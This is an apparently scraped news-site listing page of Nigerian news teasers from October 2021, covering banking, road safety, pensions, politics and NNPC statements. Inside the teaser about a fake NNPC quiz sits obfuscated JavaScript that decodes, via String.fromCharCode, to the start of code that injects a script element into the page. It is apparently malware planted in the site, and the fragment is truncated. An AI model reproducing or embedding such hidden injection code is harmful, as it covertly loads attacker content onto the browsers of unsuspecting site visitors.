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Firstbank Partners NIBSS To Drive Digital Payment Convenience With Nigeria Quick Response (NQR)

25Oct

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Firstbank Partners NIBSS To Drive Digital Payment Convenience With Nigeria Quick Response (NQR)

First Bank of Nigeria Limited, Nigeria’s premier and leading financial inclusion services organisation has announced its partnership with Nigeria Inter-Bank Settlement System plc (NIBSS) on its recently launched Nigeria Quick Response (NQR) Payment Solution. The NQR is an innovative payment option implemented for all financial service providers and designed to promote quick and fast transactions by scanning the code on one's mobile device. Also, the initiative reduces cost(s) for merchants and banks in delivering instant value for person-to-business (P2B) and person-to-person (P2P) transactions by simply scanning to pay. Unlike other QR schemes, the NQR is implemented with reduced charges that is cheaper for merchants. The initiative is accessible on the Bank’s payment infrastructur...

24Oct

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The Christian Association of Nigeria (CAN) has called on the Federal Government to rejig the country's security achitecture to tackle the bourgeoning security challenges. The Association made the call Thursday while commiserating with the Sultan of Sokoto, His Eminence Muhammadu Sa'ad Abubakar III, the people and the government of Sokoto State on the recent killing of innocent people and destruction of property by bandits at the Goronyo Central Market in the State. "We are shocked, pained and disappointed with the reported attacks and the loss of many lives despite all the efforts being made by the government to stop these criminal elements amidst us. CAN condemns in strong terms the operations of these criminals and tasked security agencies to rise up to this menace before i...

FG Challenges New NCRIB Leadership on Contributions to GDP, Other KPIs

24Oct

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FG Challenges New NCRIB Leadership on Contributions to GDP, Other KPIs

The Federal Government has challenged the new leadership of the Nigerian Council for Registered Insurance Brokers (NCRIB) to consolidate on the gains of the previous administration and improve on its performance. This charge was given by the Honourable Minister for Finance, Budget and National Planning, Zainab Shamsuna Ahmed, during the investiture of Barr. Rotimi Edu, mni as the 21st President and Chairman of the Governing Council of the Nigerian Council of Registered Insurance Brokers (NCRIB) which held at the Lagos Marriot Hotel on Thursday.She enjoined the Council to leverage on the cosy relationship which the sector enjoys at the highest levels of the current Buhari regime to rapidly grow the sector. “The Insurance sector in its more than 60 years history has never before this ti...

NURTW President celebrates @54, calls for Drivers Security and Safety Consciousness during Ember Months

24Oct

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NURTW President celebrates @54, calls for Drivers Security and Safety Consciousness during Ember Months

Prof. Tajudeen Ibikunle, the National president, National Union of Road transport Workers. (NURTW) has advised Drivers, both commercial and private to be security conscious and report any suspicions movement to security agencies and always adhere to the Government, Federal Road Safety Corps (FRSC), and Safety regulations while embarking on any journey most especially during the ember months in order to reduce the rate of crime and road accidents on our roads. prof. Tajudeen, while addressing journalist gave the advice during his 54th birthday celebration and 3rd year in office, which was organized by the Executive top management staffs of the NURTW at the National Headquarters in Abuja. Speaking on Nigeria @ 61 and the state of road networks and other infrastructural developments, t...

NANS President commends AOIYEO leadership on youths security, welfare

22Oct

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NANS President commends AOIYEO leadership on youths security, welfare

President, National Association of Nigerian Students, NANS, Comrade Sunday Asefon, has commended Commandant Isaac David, Executive Director and President Abuja Original Inhabitants Youths Empowerment Organisation, AOIYEO, and its leadership on their efforts over youths welfare and security. Asefon gave the commendation when he paid a courtesy visit to AOIYEO leadership at its headquarters in Abuja on Thursday. In his words, Comrade Asefon expressed solidarity with the enviable work of AOIYEO on students and youth empowerment. He specifically cited the humanitarian efforts of the evacuation of FCT students from the recent crisis in Jos the Plateau state capital. In all, he pledged the continued support for AOIYEO and that NANS identifies with it on all fronts, saying the leader...

FRSC launches ‘Ember Months’ Campaign in Kuje, tasks motorists on safety

22Oct

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FRSC launches ‘Ember Months’ Campaign in Kuje, tasks motorists on safety

The Federal Road Safety Corps (FRSC), RS 7.17 Kuje Unit has launched its 2021 Ember Months Campaign Rally, with the theme: Maintain Safe Speed, Avoid Night Travels and Enjoy Quality Road Experience”. Mr Samuel Ochi, the Federal Capital Territory (FCT) Sector Commander, while launching the campaign in Kuje urged motorists to always maintain a safe speed and obey traffic rules and regulations. ”The essence of the campaign is to ensure that accidents are reduced on the roads during the ember months when travelers would want to embark on journeys during Christmas and New year,” he said. The sector commander enjoined motorists and other road users to maintain a safe speed, avoid night travels and enjoy a quality road experience by not overtaking unnecessarily. He applauded FRSC Kuj...

Chika Natives, others appeal to FCTA, AMAC for urgent need of Community School

20Oct

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Chika Natives, others appeal to FCTA, AMAC for urgent need of Community School

Natives of Chika and its neighbouring communities of Aleiyita, Galadimawa, Piwoyi and Zhidu are appealing to FCT minister of state Dr Ramatu Tijjani Aliyu for an urgent intervention of Community Senior Secondary school and other social amenities in the area. In a combined statement by the President Abuja Original Inhabitants Youth Empowerment Organization AOIYEO Commandant Isaac David, and the Secretary General, Mr Adamu Umar, stated that the communities had reached out to organisation to appeal to the FCTA on their behalf. "The communities reached out to us as a platform, to engage the authorities on their pressing need for a Sommunity Senior Secondary school. "As a demonstration of utmost good conscience, the community have obtained three (3) hectares of land for this purpose a...

Yoruba Group To Buhari: Give Amnesty To Igboho; He Has Accepted To Drop His Agitation For Yoruba Nation

20Oct

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Yoruba Group To Buhari: Give Amnesty To Igboho; He Has Accepted To Drop His Agitation For Yoruba Nation

A pan Yoruba Group,Yoruba Youth Forum, YYF, has appealed to President Muhammadu Buhari to give amnesty to Yoruba Nation agitator, Sunday Adeyemo popularly known as Sunday Igboho. The Group in a press statement by its President General, Comrade Abiodun Bolarinwa urged President Muhammadu Buhari to as father of the nation extend amnesty to Sunday Igboho as he has accepted to drop his agitation for Yoruba Nation. "As a foremost Yoruba youth group in the country, Yoruba Youth Forum, YYF, is committed to 'One Nigeria' and peace and development of southwestern region of the country. It is based on this, that we're appealing to President Muhammadu Buhari to give amnesty to our son, Sunday Igboho as he has accepted to drop his agitation for Yoruba Nation and embrace dialogue with the govern...

20Oct

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Beware! Purported 50th Anniversary Quiz Contest is Fake – NNPC

The Nigerian National Petroleum Corporation has disowned a fake quiz competition trending online which claims to celebrate its 50th anniversary. In a statement signed by its Group General Manager, Public Affairs, Mr. Garbadeen Muhammed, the Corporation dissociated itself from the scam. According to the statement, "In the purported quiz contest, unsuspecting participants are encouraged to answer four questions on their knowledge of the Corporation, with the eventual winner standing the chance of winning some cash reward of up to N30,000. "The NNPC wishes to state categorically that it has nothing to do with the purported 50th-anniversary quiz contest, " var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97...

ACCI-BEST Commences Dual Vocational Training for 30 Youths

20Oct

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ACCI-BEST Commences Dual Vocational Training for 30 Youths

The Abuja Chamber of Commerce and Industry Business Entrepreneurship Skills and Technology Centre (ACCI BEST Centre) on Monday commenced training for over 30 youth in Office Administration and Technical Facilities Operations and Maintenance. The President ACCI, Dr. Al-Mujtaba Abubakar in his address at the opening ceremony of the one-year dual Vocational Training programme in Office Administration (OA) and Technical Facilities Operations and Maintenance (TFOM) organized by ACCI BEST Centre in partnership with the Industrial Training Fund (ITF) with the support of the GIZ SKYE Program said, the training is a cardinal point of every organisation that wants to progress adding that basically, it is to give young people the ability to adapt, create technical competence and employment for t...

N7.5m for Grabs in UBA Foundation Essay Competition

20Oct

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N7.5m for Grabs in UBA Foundation Essay Competition

The UBA Foundation, the Corporate Social Responsibility (CSR) arm of the United Bank for Aftrica group has called for entries for this year's national essay competition. The annual competition which is targeted at senior secondary students is part of the Foundation's initiative aimed at promoting reading culture as well as healthy, intellectual competition among senior secondary students in Nigeria and across Africa. The theme for this year's edition is: What is the role of technology in educating the African youth. The top prize is a N3m educational grant to any African University of choice followed by first and second runners up who get N2.5m and N2m educational grants to NY African university respectively. To qualify, the participant must, be a senior secondary school student...

Kebbi Governor’s wife donates N2M to cancer patients at UATH

17Oct

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Kebbi Governor’s wife donates N2M to cancer patients at UATH

The wife of Kebbi State Governor, Dr Zainab Bagudu, has donated N2 million for the treatment of cancer patients at the University of Abuja Teaching Hospital (UATH), Gwagwalada. Dr Zainab, who is the founder of Medicaid Cancer Foundation presented the cheque to Prof. Bissallah Ekele, the Chief Medical Director (CMD) of the Hospital in Gwagwalada She explained that the donation is aimed at supporting people battling with cancer and cushion their hardship and that of survivors. Dr Zainab called for the creation of a strategic cancer intervention organisations across board for improve awareness and to scale up cancer treatment and prevention in the country. According to her, the organisation, Kebbi state government and other relevant stakeholders were vigorously engaged in the fig...

Ondo Reps by-election: Group makes case for ex-Sport Commissioner, Awude

17Oct

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Ondo Reps by-election: Group makes case for ex-Sport Commissioner, Awude

The youth wing of the Peoples Democratic Party (PDP) in Ondo State- Ondo PDP Youth Mobilisation Group, at the weekend made a case for the choice of a former Commissioner for Youths and Sport in the state, Hon. Dayo Awude. The group, in a statement in Akure stated that Awude is best suited to fly the party's flag for the vacant position of House of Representatives member, representing Akure South/North federal constituency. The position became vacant following the death of its occupant, Hon. Adedayo Omolafe on August 16, this year. In the statement by its coordinator, Mr. Ademola Obadofin, and interim secretary, Miss Oyinlola Adeyemi, the group described Awude as a round peg in a round hole, considering his unwavering party loyalty, dedication and wealth of experience. "Here is...

NBA Vice Chairman calls for strategic relationship with security operatives

15Oct

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NBA Vice Chairman calls for strategic relationship with security operatives

Barrister David Aigbefoh the Vice-Chairman Nigerian Bar Association (NBA) Gwagwalada Branch Abuja, has called for a strategic relationship between the security agencies and civilians to help end the current insecurity in the country. Aigbefoh made the call in Abuja, at a special summit on security and safety/award scheme, organised by the National Watch, with the theme agged "Our Security is in Securing our Security Operatives." According to him, there was a need for everyone to always be security conscious, to guard against the sudden wanton destruction of lives and property in the country. The Barrister who noted that the fight against insecurity, information and intelligence gathering are key, urged all citizens to always be security conscious and have a strategic relationship...

PTAD Launches App for Confirmation of Pensioners’ Aliveness

12Oct

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PTAD Launches App for Confirmation of Pensioners’ Aliveness

The Executive Secretary of the Pension Transition Administration Directorate (PTDA), Dr. Chioma Ejike, on Tuesday launched the pilot phase of the ‘I Am Alive’ App, a web-based software designed to enable pensioners confirm their aliveness using a smartphone or computer system. According to her, the I’Am Alive, solution was designed with the utmost welfare of pensioners in mind leveraging on accuracy, reliability, user friendliness and convenience. With the introduction of this technological innovation into the system, Ejikeme, who felt excited assured that the field verification exercise conducted in 2019 would be the last time PTAD will call out pensioners for field verification. Test-running the App with pensioners while briefing Journalists at the Headquarters of PTAD in Abuja...

Ondo: APC set to field widow of PDP’s late Reps member

9Oct

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Ondo: APC set to field widow of PDP’s late Reps member

Mrs. Taye Omolafe, widow of Hon. Adedayo Omolafe, the late former member, House of Representatives representing Akure South/North in Ondo State, is set to join the ruling All Progressives Congress and contest the seat vacated by her husband, First News' investigations have revealed. Top sources in the APC revealed to our correspondent that her choice had received the blessing of the state governor, Rotimi Akeredolu, who is determined to make APC take the seat. The late Omolafe, widely known as Expensive, won the Reps' seat in 2019 on the platform of Peoples Democratic Party (PDP). He died suddenly on August 16, this year, in his Akure home under befuddling circumstances, thus throwing his array of supporters into quandary. Akure South and North are strongholds of PDP in the st...

6Oct

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NNPC Is Not Hiring

The Nigerian National Petroleum Corporation (NNPC) is not currently recruiting staff contrary to the lies and rumors being peddled online. This clarification was categorically put forward by the Corporation in a statement by its spokesperson, Garbadeen Muhammed dated October 3, 2021. "This is to inform the public that the information circulating in the Social Media that the Nigerian National Petroleum Corporation (NNPC) is conducting a recruitment exercise IS NOT TRUE and the public should disregard it in its entirety", the statement said. The Corporation assured the public that whenever it is recruiting it will be appropriately and effectively communicated in a manner that is reliable and easily verifiable. "Whenever NNPC decides to conduct a recruitment exercise, it will announ...

Nigeria’ s Pension Assets in Excess of N13trn- PenCom DG

6Oct

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Nigeria’ s Pension Assets in Excess of N13trn- PenCom DG

The Director- General of the National Pension Commission ( PenCom) has stated that the pension industry currently has accumulated pension assets worth more than N13 trn. She was speaking while delivering a goodwill message to a sensitisation workshop it organised in partnership with the Economic and Financial Crimes Commission (EFCC).She stressed that the Pension Reform Act 2004 which birthed several reforms in the industry has gone a long way in tackling the rot of fraud and fraudulent practices which hitherto were prevalent. "These measures substantially restored credibility and confidence in Nigeria’s pension systems. Thus, we have, today, an industry that has accumulated pension assets in excess of N13 trillion, invested in various aspects of the economy and still growing", she ...

Small Arms, Light Weapons Bill Receives Legislative Attention

5Oct

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Small Arms, Light Weapons Bill Receives Legislative Attention

An Executive Bill seeking to establish a National Commission against the proliferation of small arms and light weapons is presently receiving attention at the National Assembly (NASS). This Bill is in alignment with the Economic Community of West African States (ECOWAS) Convention on small arms and light weapons, their ammunition and other related materials has passed second reading in the House of Representatives. The Chairman of the Committee on Firearms Act (Amendment), Mr. Ossai Nicholas Ossai, who chaired a public hearing on the bill, in his welcome address on Monday, said the hearing is part of effort by the National Assembly to advance legal solution to the growing insecurity bedeviling the country. The Bill, is part of Executive Bills, referred to the House of Representat...

Abdullahi: Why NITDA is Partnering MassChallenge

5Oct

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Abdullahi: Why NITDA is Partnering MassChallenge

The Director-General of the National Information Technology Development Agency (NITDA) and MassChallenge Nigeria has signed up a deal with the sole aim of advancing Nigeria’s innovative ecosystem. The Director-General of NITDA, Mr. Kashifu Abdullahi, disclosed that the agency’s support will lead to job and empowerment creation for the country. According to him, the move is to help entrepreneurs grow their brands and initiatives locally while having easy access to the global ecosystem. The NITDA boss who was represented by the acting National Coordinator, Office for Nigerian Digital Innovations, Mr. Yakubu Musa, expressed optimism at the collaboration during a virtual meeting with the MassChallenge Global Partnership Manager, Kevin O Reilly. The DG stated that, as part of effor...